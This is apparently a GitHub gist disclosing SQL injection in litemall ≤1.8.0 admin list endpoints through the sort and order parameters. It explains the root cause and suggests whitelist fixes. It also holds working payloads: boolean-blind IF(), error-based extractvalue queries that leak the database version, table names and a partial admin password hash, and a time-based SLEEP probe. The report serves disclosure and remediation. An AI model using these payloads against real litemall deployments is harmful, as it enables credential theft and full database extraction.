Skip to content

Instantly share code, notes, and snippets.

@A1AAAAAAAAAA1
Created April 23, 2026 14:23
Show Gist options
  • Select an option

  • Save A1AAAAAAAAAA1/bc875f5be52b44b2e557c5312e355d47 to your computer and use it in GitHub Desktop.

Select an option

Save A1AAAAAAAAAA1/bc875f5be52b44b2e557c5312e355d47 to your computer and use it in GitHub Desktop.
Litemall ≤ 1.8.0 SQL Injection via orderByClause in Multiple Admin Controllers (CWE-89)

Litemall ≤ 1.8.0 - SQL Injection via orderByClause in Multiple Admin Controllers (CWE-89)

Reporter: berna (1571229403@qq.com) Date: 2026-04-23 Affected Version: linlinjava/litemall up to 1.8.0


Vulnerability Description

Multiple admin controller list endpoints in litemall ≤ 1.8.0 are vulnerable to SQL injection via the sort and order HTTP parameters. These endpoints are NOT covered by existing CVEs (CVE-2024-24323 covers AdminOrderController only; CVE-2024-46382 covers AdminGoodsController only).

Affected Endpoints (NEW, not in any existing CVE)

Controller Endpoint
AdminAftersaleController /admin/aftersale/list
AdminCommentController /admin/comment/list
AdminFeedbackController /admin/feedback/list
AdminTopicController /admin/topic/list
AdminAdController /admin/ad/list
AdminCouponController /admin/coupon/list
AdminUserController /admin/user/list
AdminStorageController /admin/storage/list

Root Cause

All 37 MyBatis Mapper XML files use ${orderByClause} (string interpolation, not parameterized):

<if test="orderByClause != null">
  order by ${orderByClause}
</if>

The sort and order HTTP parameters are directly concatenated in Service classes:

// e.g., LitemallGoodsService.java line 122
example.setOrderByClause(sort + " " + order);

Proof of Concept

All PoCs verified on MySQL 8.0.45 with real litemall database (31 tables, sample data imported from litemall_data.sql).

PoC 1: Boolean-based Blind SQL Injection

GET /admin/aftersale/list?sort=IF(1=1,id,name)&order=asc&page=1&limit=10
→ Result: Rows sorted by id (first row: id=1006002)

GET /admin/aftersale/list?sort=IF(1=2,id,name)&order=asc&page=1&limit=10
→ Result: Rows sorted by name (first row: id=1025005, name="100年传世珐琅锅")

Different sort order CONFIRMS the IF() condition is executed by MySQL!

Actual JDBC verification output:

=== PoC 2: Boolean-blind (ORDER BY IF(1=1,id,name)) ===
  id=1006002 | goods_sn=1006002 | name=轻奢纯棉刺绣水洗四件套
  id=1006007 | goods_sn=1006007 | name=简约知性满印水洗棉四件套
  id=1006010 | goods_sn=1006010 | name=全棉刺绣大朵水洗棉四件套

=== PoC 3: Boolean-blind (ORDER BY IF(1=2,id,name)) ===
  id=1025005 | goods_sn=1025005 | name=100年传世珐琅锅
  id=1135002 | goods_sn=1135002 | name=DAYHR能量King瓶
  id=1006007 | goods_sn=1006007 | name=简约知性满印水洗棉四件套

PoC 2: Error-based SQL Injection (extractvalue)

Extract MySQL version:

sort=extractvalue(1,concat(0x7e,version(),0x7e))

→ ERROR 1105 (HY000): XPATH syntax error: '~8.0.45~'
MySQL version 8.0.45 leaked!

Extract admin password hash:

sort=extractvalue(1,concat(0x7e,(SELECT password FROM litemall_admin LIMIT 1),0x7e))

→ ERROR 1105 (HY000): XPATH syntax error: '~$2a$10$.rEfyBb/GURD9P2p0fRg/OAJ'
Admin bcrypt password hash leaked!

Extract all table names:

sort=extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))

→ ERROR 1105 (HY000): XPATH syntax error: '~litemall_ad,litemall_address,li'
All table names leaked!

PoC 3: Time-based Blind SQL Injection

sort=IF(SUBSTRING(user(),1,1)='r',SLEEP(2),1)

→ Response time: ~8 minutes (SLEEP(2) executes for each row in the table)
Confirms first character of database user is 'r' (root)

Impact

  • Full database extraction: Error-based injection allows extracting any data from any table
  • Admin credential theft: Admin password hash can be extracted directly
  • Blind data enumeration: Boolean-based and Time-based methods allow extracting data character by character

Suggested Fix

  1. Ensure ALL controllers use @Sort annotation with strict whitelist:
public Object list(...,
    @Sort(accepts = {"add_time", "id"}) String sort,
    @Order String order, ...)
  1. Replace ${orderByClause} with a safe ORDER BY builder:
// Safe approach: validate sort column against whitelist
Set<String> ALLOWED = Set.of("id", "add_time", "retail_price");
if (!ALLOWED.contains(sort)) {
    sort = "add_time"; // default
}
  1. Never pass user input directly to setOrderByClause().

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment